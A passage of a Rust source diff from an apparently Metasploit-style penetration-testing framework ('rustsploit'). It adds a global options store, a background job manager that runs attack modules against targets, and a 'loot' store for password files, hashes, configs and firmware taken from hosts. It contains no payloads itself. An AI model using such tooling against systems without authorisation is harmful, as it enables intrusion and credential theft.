/// Like Metasploit's `setg` — values are checked by `cfg_prompt_*`
|
||||
/// after custom_prompts but before interactive stdin.
|
||||
pub struct GlobalOptions {
|
||||
options: RwLock<HashMap<String, String>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl GlobalOptions {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("global_options.json");
|
||||
|
||||
let options = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted global_options.json: {}", e);
|
||||
}
|
||||
HashMap::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read global_options.json: {}", e);
|
||||
HashMap::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
HashMap::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
options: RwLock::new(options),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
const MAX_KEY_LEN: usize = 256;
|
||||
const MAX_VALUE_LEN: usize = 4096;
|
||||
const MAX_ENTRIES: usize = 1024;
|
||||
|
||||
/// Set a global option. Persists to disk.
|
||||
/// Returns false if key/value exceed size limits or entry cap reached.
|
||||
pub async fn set(&self, key: &str, value: &str) -> bool {
|
||||
if key.is_empty() || key.len() > Self::MAX_KEY_LEN || value.len() > Self::MAX_VALUE_LEN {
|
||||
return false;
|
||||
}
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
if opts.len() >= Self::MAX_ENTRIES && !opts.contains_key(key) {
|
||||
return false;
|
||||
}
|
||||
opts.insert(key.to_string(), value.to_string());
|
||||
opts.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
true
|
||||
}
|
||||
|
||||
/// Remove a global option. Persists to disk.
|
||||
pub async fn unset(&self, key: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
let removed = opts.remove(key).is_some();
|
||||
if removed { Some(opts.clone()) } else { None }
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Get a global option value.
|
||||
pub async fn get(&self, key: &str) -> Option<String> {
|
||||
self.options.read().await.get(key).cloned()
|
||||
}
|
||||
|
||||
/// Synchronous blocking get for use in non-async contexts.
|
||||
/// Spins briefly if a writer holds the lock, so user-set values
|
||||
/// are never silently replaced by defaults during a concurrent save.
|
||||
pub fn try_get(&self, key: &str) -> Option<String> {
|
||||
for _ in 0..50 {
|
||||
if let Ok(guard) = self.options.try_read() {
|
||||
return guard.get(key).cloned();
|
||||
}
|
||||
std::thread::sleep(std::time::Duration::from_millis(1));
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Get all global options.
|
||||
pub async fn all(&self) -> HashMap<String, String> {
|
||||
self.options.read().await.clone()
|
||||
}
|
||||
|
||||
/// Save to disk using atomic write (write to temp, then rename).
|
||||
async fn save_locked(&self, opts: &HashMap<String, String>) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
if let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Failed to create options directory: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(opts) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize options: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp options file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write temp options file: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Failed to rename options file: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all global options in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let opts = self.all().await;
|
||||
if opts.is_empty() {
|
||||
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", "Global Options:".bold().underline());
|
||||
println!();
|
||||
println!(" {:<30} {}", "Key".bold(), "Value".bold());
|
||||
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
|
||||
let mut keys: Vec<_> = opts.keys().collect();
|
||||
keys.sort();
|
||||
for key in keys {
|
||||
if let Some(val) = opts.get(key) {
|
||||
println!(" {:<30} {}", key.green(), val);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static GLOBAL_OPTIONS: Lazy<GlobalOptions> = Lazy::new(GlobalOptions::new);
|
||||
+423
@@ -0,0 +1,423 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicU32, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use std::sync::RwLock;
|
||||
|
||||
use colored::*;
|
||||
use serde::Serialize;
|
||||
use tokio::sync::{broadcast, watch};
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub enum JobEvent {
|
||||
Started { id: u32, module: String, target: String },
|
||||
Completed { id: u32 },
|
||||
Failed { id: u32, error: String },
|
||||
Cancelled { id: u32 },
|
||||
}
|
||||
|
||||
/// Status of a background job.
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub enum JobStatus {
|
||||
Running,
|
||||
Completed,
|
||||
Failed(String),
|
||||
Cancelled,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for JobStatus {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
JobStatus::Running => write!(f, "Running"),
|
||||
JobStatus::Completed => write!(f, "Completed"),
|
||||
JobStatus::Failed(msg) => write!(f, "Failed: {}", msg),
|
||||
JobStatus::Cancelled => write!(f, "Cancelled"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Thread-safe output + progress tracker shared between the job task and API readers.
|
||||
pub struct JobProgress {
|
||||
output: RwLock<std::collections::VecDeque<String>>,
|
||||
total_lines_pushed: AtomicU64,
|
||||
pub success_count: AtomicU64,
|
||||
pub fail_count: AtomicU64,
|
||||
pub total_targets: AtomicU64,
|
||||
pub last_activity: RwLock<chrono::DateTime<chrono::Local>>,
|
||||
}
|
||||
|
||||
const MAX_OUTPUT_LINES: usize = 5000;
|
||||
|
||||
impl JobProgress {
|
||||
pub fn new() -> Arc<Self> {
|
||||
Arc::new(Self {
|
||||
output: RwLock::new(std::collections::VecDeque::with_capacity(MAX_OUTPUT_LINES)),
|
||||
total_lines_pushed: AtomicU64::new(0),
|
||||
success_count: AtomicU64::new(0),
|
||||
fail_count: AtomicU64::new(0),
|
||||
total_targets: AtomicU64::new(0),
|
||||
last_activity: RwLock::new(chrono::Local::now()),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn push_line(&self, line: String) {
|
||||
if let Ok(mut buf) = self.output.write() {
|
||||
if buf.len() >= MAX_OUTPUT_LINES {
|
||||
buf.pop_front();
|
||||
}
|
||||
buf.push_back(line);
|
||||
}
|
||||
self.total_lines_pushed.fetch_add(1, Ordering::Relaxed);
|
||||
if let Ok(mut ts) = self.last_activity.write() {
|
||||
*ts = chrono::Local::now();
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_output(&self, from: usize) -> Vec<String> {
|
||||
self.output.read().unwrap_or_else(|e| e.into_inner())
|
||||
.iter().skip(from).cloned().collect()
|
||||
}
|
||||
|
||||
pub fn output_len(&self) -> usize {
|
||||
self.output.read().unwrap_or_else(|e| e.into_inner()).len()
|
||||
}
|
||||
|
||||
pub fn completed(&self) -> u64 {
|
||||
self.success_count.load(Ordering::Relaxed) + self.fail_count.load(Ordering::Relaxed)
|
||||
}
|
||||
}
|
||||
|
||||
/// A background job entry.
|
||||
pub struct Job {
|
||||
pub id: u32,
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
pub started_at: chrono::DateTime<chrono::Local>,
|
||||
pub status: JobStatus,
|
||||
pub progress: Arc<JobProgress>,
|
||||
finished_at: Option<std::time::Instant>,
|
||||
cancel_tx: watch::Sender<bool>,
|
||||
handle: Option<tokio::task::JoinHandle<()>>,
|
||||
}
|
||||
|
||||
const MAX_JOBS: usize = 1000;
|
||||
const FINISHED_JOB_RETENTION_SECS: u64 = 300;
|
||||
const DEFAULT_MAX_RUNNING: usize = 5;
|
||||
|
||||
/// Manages background jobs.
|
||||
pub struct JobManager {
|
||||
jobs: RwLock<HashMap<u32, Job>>,
|
||||
next_id: AtomicU32,
|
||||
max_running: AtomicU32,
|
||||
event_tx: broadcast::Sender<JobEvent>,
|
||||
}
|
||||
|
||||
impl JobManager {
|
||||
fn new() -> Self {
|
||||
use rand::RngExt;
|
||||
let start = rand::rng().random_range(1..(1u32 << 24));
|
||||
let (event_tx, _) = broadcast::channel(256);
|
||||
Self {
|
||||
jobs: RwLock::new(HashMap::new()),
|
||||
next_id: AtomicU32::new(start),
|
||||
max_running: AtomicU32::new(DEFAULT_MAX_RUNNING as u32),
|
||||
event_tx,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn subscribe(&self) -> broadcast::Receiver<JobEvent> {
|
||||
self.event_tx.subscribe()
|
||||
}
|
||||
|
||||
pub fn running_count(&self) -> usize {
|
||||
self.jobs.read().map(|jobs| {
|
||||
jobs.values().filter(|j| {
|
||||
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
|
||||
}).count()
|
||||
}).unwrap_or(0)
|
||||
}
|
||||
|
||||
pub fn get_max_running(&self) -> u32 {
|
||||
self.max_running.load(Ordering::Relaxed)
|
||||
}
|
||||
|
||||
pub fn set_max_running(&self, limit: u32) {
|
||||
let clamped = limit.clamp(1, 100);
|
||||
self.max_running.store(clamped, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub fn spawn(
|
||||
&self,
|
||||
module: String,
|
||||
target: String,
|
||||
verbose: bool,
|
||||
config: Option<crate::config::ModuleConfig>,
|
||||
) -> Result<(u32, Arc<JobProgress>), String> {
|
||||
let mut jobs = self.jobs.write().map_err(|_| "Job lock poisoned".to_string())?;
|
||||
|
||||
let running = jobs.values().filter(|j| {
|
||||
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
|
||||
}).count();
|
||||
let max = self.max_running.load(Ordering::Relaxed) as usize;
|
||||
if running >= max {
|
||||
return Err(format!(
|
||||
"Job limit reached: {}/{} concurrent jobs running. Kill a running job or increase the limit.",
|
||||
running, max
|
||||
));
|
||||
}
|
||||
|
||||
let mut id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
while jobs.contains_key(&id) {
|
||||
id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
if jobs.len() >= MAX_JOBS {
|
||||
let now = std::time::Instant::now();
|
||||
jobs.retain(|_, j| {
|
||||
match j.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
}
|
||||
});
|
||||
if jobs.len() >= MAX_JOBS {
|
||||
let mut finished: Vec<(u32, std::time::Instant)> = jobs.iter()
|
||||
.filter_map(|(jid, j)| j.finished_at.map(|t| (*jid, t)))
|
||||
.collect();
|
||||
finished.sort_by_key(|(_, t)| *t);
|
||||
for (oldest_id, _) in finished.into_iter().take(jobs.len() - MAX_JOBS + 1) {
|
||||
jobs.remove(&oldest_id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let (cancel_tx, cancel_rx) = watch::channel(false);
|
||||
let progress = JobProgress::new();
|
||||
let prog_clone = progress.clone();
|
||||
let mod_clone = module.clone();
|
||||
let tgt_clone = target.clone();
|
||||
let evt_module = module.clone();
|
||||
let evt_target = target.clone();
|
||||
let event_tx = self.event_tx.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut rx = cancel_rx;
|
||||
prog_clone.push_line(format!("[*] Starting {} against {}", mod_clone, tgt_clone));
|
||||
let run_fut = {
|
||||
let m = mod_clone.clone();
|
||||
let t = tgt_clone.clone();
|
||||
async move {
|
||||
if let Some(cfg) = config {
|
||||
let (result, _ctx) = crate::context::run_with_context_target(
|
||||
cfg,
|
||||
t.clone(),
|
||||
|| async move { crate::commands::run_module(&m, &t, verbose).await },
|
||||
).await;
|
||||
result
|
||||
} else {
|
||||
crate::commands::run_module(&m, &t, verbose).await
|
||||
}
|
||||
}
|
||||
};
|
||||
tokio::select! {
|
||||
result = run_fut => {
|
||||
match result {
|
||||
Ok(_) => {
|
||||
prog_clone.push_line(format!("[+] Completed: {} against {}", mod_clone, tgt_clone));
|
||||
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
|
||||
if let Err(e) = event_tx.send(JobEvent::Completed { id }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
prog_clone.push_line(format!("[-] Failed: {} - {}", mod_clone, msg));
|
||||
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, msg).red());
|
||||
if let Err(e) = event_tx.send(JobEvent::Failed { id, error: msg }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
|
||||
prog_clone.push_line(format!("[!] Cancelled: {}", mod_clone));
|
||||
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
|
||||
if let Err(e) = event_tx.send(JobEvent::Cancelled { id }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
jobs.insert(id, Job {
|
||||
id,
|
||||
module,
|
||||
target,
|
||||
started_at: chrono::Local::now(),
|
||||
status: JobStatus::Running,
|
||||
progress: progress.clone(),
|
||||
finished_at: None,
|
||||
cancel_tx,
|
||||
handle: Some(handle),
|
||||
});
|
||||
drop(jobs);
|
||||
|
||||
if let Err(e) = self.event_tx.send(JobEvent::Started {
|
||||
id,
|
||||
module: evt_module,
|
||||
target: evt_target,
|
||||
}) {
|
||||
tracing::debug!("No WS subscribers for job started event: {}", e);
|
||||
}
|
||||
|
||||
Ok((id, progress))
|
||||
}
|
||||
|
||||
pub fn kill(&self, id: u32) -> bool {
|
||||
let handle_and_tx = {
|
||||
let mut jobs = match self.jobs.write() {
|
||||
Ok(j) => j,
|
||||
Err(_) => return false,
|
||||
};
|
||||
let job = match jobs.get_mut(&id) {
|
||||
Some(j) => j,
|
||||
None => return false,
|
||||
};
|
||||
if let Err(e) = job.cancel_tx.send(true) {
|
||||
crate::meprintln!("[!] Job cancel signal error: {}", e);
|
||||
}
|
||||
job.status = JobStatus::Cancelled;
|
||||
if job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
}
|
||||
job.handle.take()
|
||||
};
|
||||
if let Some(handle) = handle_and_tx {
|
||||
let abort_handle = handle.abort_handle();
|
||||
tokio::spawn(async move {
|
||||
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
|
||||
if !handle.is_finished() {
|
||||
abort_handle.abort();
|
||||
}
|
||||
});
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
pub fn list(&self) -> Vec<(u32, String, String, String, String)> {
|
||||
let mut result = Vec::new();
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
let now = std::time::Instant::now();
|
||||
for job in jobs.values_mut() {
|
||||
if let Some(ref handle) = job.handle {
|
||||
if handle.is_finished() && matches!(job.status, JobStatus::Running) {
|
||||
job.status = JobStatus::Completed;
|
||||
}
|
||||
}
|
||||
let terminal = matches!(
|
||||
job.status,
|
||||
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
|
||||
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
|
||||
if terminal && job.finished_at.is_none() {
|
||||
job.finished_at = Some(now);
|
||||
}
|
||||
}
|
||||
jobs.retain(|_, job| match job.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
});
|
||||
let mut ids: Vec<_> = jobs.keys().collect();
|
||||
ids.sort();
|
||||
for &id in &ids {
|
||||
if let Some(job) = jobs.get(id) {
|
||||
result.push((
|
||||
*id,
|
||||
job.module.clone(),
|
||||
job.target.clone(),
|
||||
job.started_at.format("%H:%M:%S").to_string(),
|
||||
format!("{}", job.status),
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
pub fn get_detail(&self, id: u32) -> Option<(String, String, String, String, Arc<JobProgress>)> {
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
if let Some(job) = jobs.get_mut(&id) {
|
||||
if let Some(ref handle) = job.handle {
|
||||
if handle.is_finished() && matches!(job.status, JobStatus::Running) {
|
||||
job.status = JobStatus::Completed;
|
||||
}
|
||||
}
|
||||
let terminal = matches!(
|
||||
job.status,
|
||||
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
|
||||
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
|
||||
if terminal && job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
}
|
||||
return Some((
|
||||
job.module.clone(),
|
||||
job.target.clone(),
|
||||
job.started_at.format("%H:%M:%S").to_string(),
|
||||
format!("{}", job.status),
|
||||
job.progress.clone(),
|
||||
));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
pub fn get_progress(&self, id: u32) -> Option<Arc<JobProgress>> {
|
||||
self.jobs.read().ok().and_then(|jobs| {
|
||||
jobs.get(&id).map(|j| j.progress.clone())
|
||||
})
|
||||
}
|
||||
|
||||
pub fn cleanup(&self) {
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
let now = std::time::Instant::now();
|
||||
for job in jobs.values_mut() {
|
||||
let finished = job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(true);
|
||||
if finished && job.finished_at.is_none() {
|
||||
job.finished_at = Some(now);
|
||||
}
|
||||
}
|
||||
jobs.retain(|_, job| match job.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub fn display(&self) {
|
||||
let jobs = self.list();
|
||||
if jobs.is_empty() {
|
||||
crate::mprintln!("{}", "No active jobs.".dimmed());
|
||||
return;
|
||||
}
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
|
||||
crate::mprintln!(" {}", "-".repeat(80).dimmed());
|
||||
for (id, module, target, started, status) in &jobs {
|
||||
let status_colored = if status == "Running" {
|
||||
status.green().to_string()
|
||||
} else if status == "Completed" {
|
||||
status.cyan().to_string()
|
||||
} else if status.starts_with("Failed") {
|
||||
status.red().to_string()
|
||||
} else {
|
||||
status.yellow().to_string()
|
||||
};
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
id, module, target, started, status_colored);
|
||||
}
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static JOB_MANAGER: Lazy<JobManager> = Lazy::new(JobManager::new);
|
||||
+315
@@ -0,0 +1,315 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Metadata for a stored loot item.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct LootEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub loot_type: String,
|
||||
pub filename: String,
|
||||
pub description: String,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
}
|
||||
|
||||
/// Loot store backed by JSON index + file directory.
|
||||
pub struct LootStore {
|
||||
entries: RwLock<Vec<LootEntry>>,
|
||||
index_path: PathBuf,
|
||||
loot_dir: PathBuf,
|
||||
}
|
||||
|
||||
impl LootStore {
|
||||
fn new() -> Self {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit");
|
||||
|
||||
let loot_dir = base.join("loot");
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) {
|
||||
eprintln!("[!] Failed to create loot directory {}: {}", loot_dir.display(), e);
|
||||
}
|
||||
|
||||
let index_path = base.join("loot_index.json");
|
||||
let entries = if index_path.exists() {
|
||||
match std::fs::read_to_string(&index_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
|
||||
let backup = index_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&index_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted loot index: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read loot_index.json: {}", e);
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
index_path,
|
||||
loot_dir,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum loot file size (100 MB).
|
||||
const MAX_LOOT_SIZE: usize = 100 * 1024 * 1024;
|
||||
|
||||
/// Store loot data and return the entry ID.
|
||||
pub async fn add(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
// Validate size
|
||||
if data.len() > Self::MAX_LOOT_SIZE {
|
||||
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
|
||||
return None;
|
||||
}
|
||||
// Validate inputs
|
||||
if host.is_empty() || host.len() > 256 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let ext = match loot_type {
|
||||
"config" => "conf",
|
||||
"password_file" => "txt",
|
||||
"firmware" => "bin",
|
||||
"hash" => "txt",
|
||||
_ => "dat",
|
||||
};
|
||||
// Sanitize loot_type — only allow alphanumeric and underscore
|
||||
let safe_type: String = loot_type.chars()
|
||||
.filter(|c| c.is_alphanumeric() || *c == '_')
|
||||
.take(64)
|
||||
.collect();
|
||||
let safe_type = if safe_type.is_empty() { "unknown".to_string() } else { safe_type };
|
||||
|
||||
let filename = format!("{}_{}.{}", id, safe_type, ext);
|
||||
let file_path = self.loot_dir.join(&filename);
|
||||
|
||||
// Verify the resolved path is within loot_dir (prevent traversal)
|
||||
if !file_path.starts_with(&self.loot_dir) {
|
||||
eprintln!("[!] Loot path escapes loot directory");
|
||||
return None;
|
||||
}
|
||||
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&file_path)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to create loot file: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, data).await {
|
||||
eprintln!("[!] Failed to write loot data: {}", e);
|
||||
return None;
|
||||
}
|
||||
}
|
||||
|
||||
let entry = LootEntry {
|
||||
id: id.clone(),
|
||||
host: host.to_string(),
|
||||
loot_type: loot_type.to_string(),
|
||||
filename,
|
||||
description: description.to_string(),
|
||||
source_module: source_module.to_string(),
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
};
|
||||
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
Some(id)
|
||||
}
|
||||
|
||||
/// Add loot from a string (convenience).
|
||||
pub async fn add_text(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
text: &str,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
self.add(host, loot_type, description, text.as_bytes(), source_module).await
|
||||
}
|
||||
|
||||
/// List all loot entries.
|
||||
pub async fn list(&self) -> Vec<LootEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search loot by host or type.
|
||||
pub async fn search(&self, query: &str) -> Vec<LootEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.loot_type.to_lowercase().contains(&q)
|
||||
|| e.description.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a loot entry by ID. Also removes the loot file from disk.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let (removed, filename) = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
let fname = entries.iter().find(|e| e.id == id).map(|e| e.filename.clone());
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
let snapshot = entries.clone();
|
||||
drop(entries);
|
||||
self.save_locked(&snapshot).await;
|
||||
(true, fname)
|
||||
} else {
|
||||
(false, None)
|
||||
}
|
||||
};
|
||||
if let Some(fname) = filename {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
if let Err(e) = tokio::fs::remove_file(&path).await {
|
||||
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
removed
|
||||
}
|
||||
|
||||
/// Clear all loot entries and remove loot files from disk.
|
||||
pub async fn clear(&self) {
|
||||
let filenames: Vec<String> = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let names: Vec<String> = entries.iter().map(|e| e.filename.clone()).collect();
|
||||
entries.clear();
|
||||
names
|
||||
};
|
||||
self.save_locked(&[]).await;
|
||||
for fname in filenames {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
if let Err(e) = tokio::fs::remove_file(&path).await {
|
||||
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the full path to a loot file.
|
||||
/// Returns None if the filename contains path separators or traversal.
|
||||
pub fn file_path(&self, filename: &str) -> Option<PathBuf> {
|
||||
if filename.contains('/') || filename.contains('\\') || filename.contains("..") || filename.contains('\0') {
|
||||
return None;
|
||||
}
|
||||
let path = self.loot_dir.join(filename);
|
||||
if !path.starts_with(&self.loot_dir) {
|
||||
return None;
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
|
||||
/// Get the loot directory path.
|
||||
pub fn loot_directory(&self) -> &PathBuf {
|
||||
&self.loot_dir
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[LootEntry]) {
|
||||
let tmp = self.index_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(entries) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize loot index: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write loot index: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write loot index data: {}", e);
|
||||
return;
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.index_path).await {
|
||||
eprintln!("[!] Failed to rename loot index: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display loot table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No loot stored.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
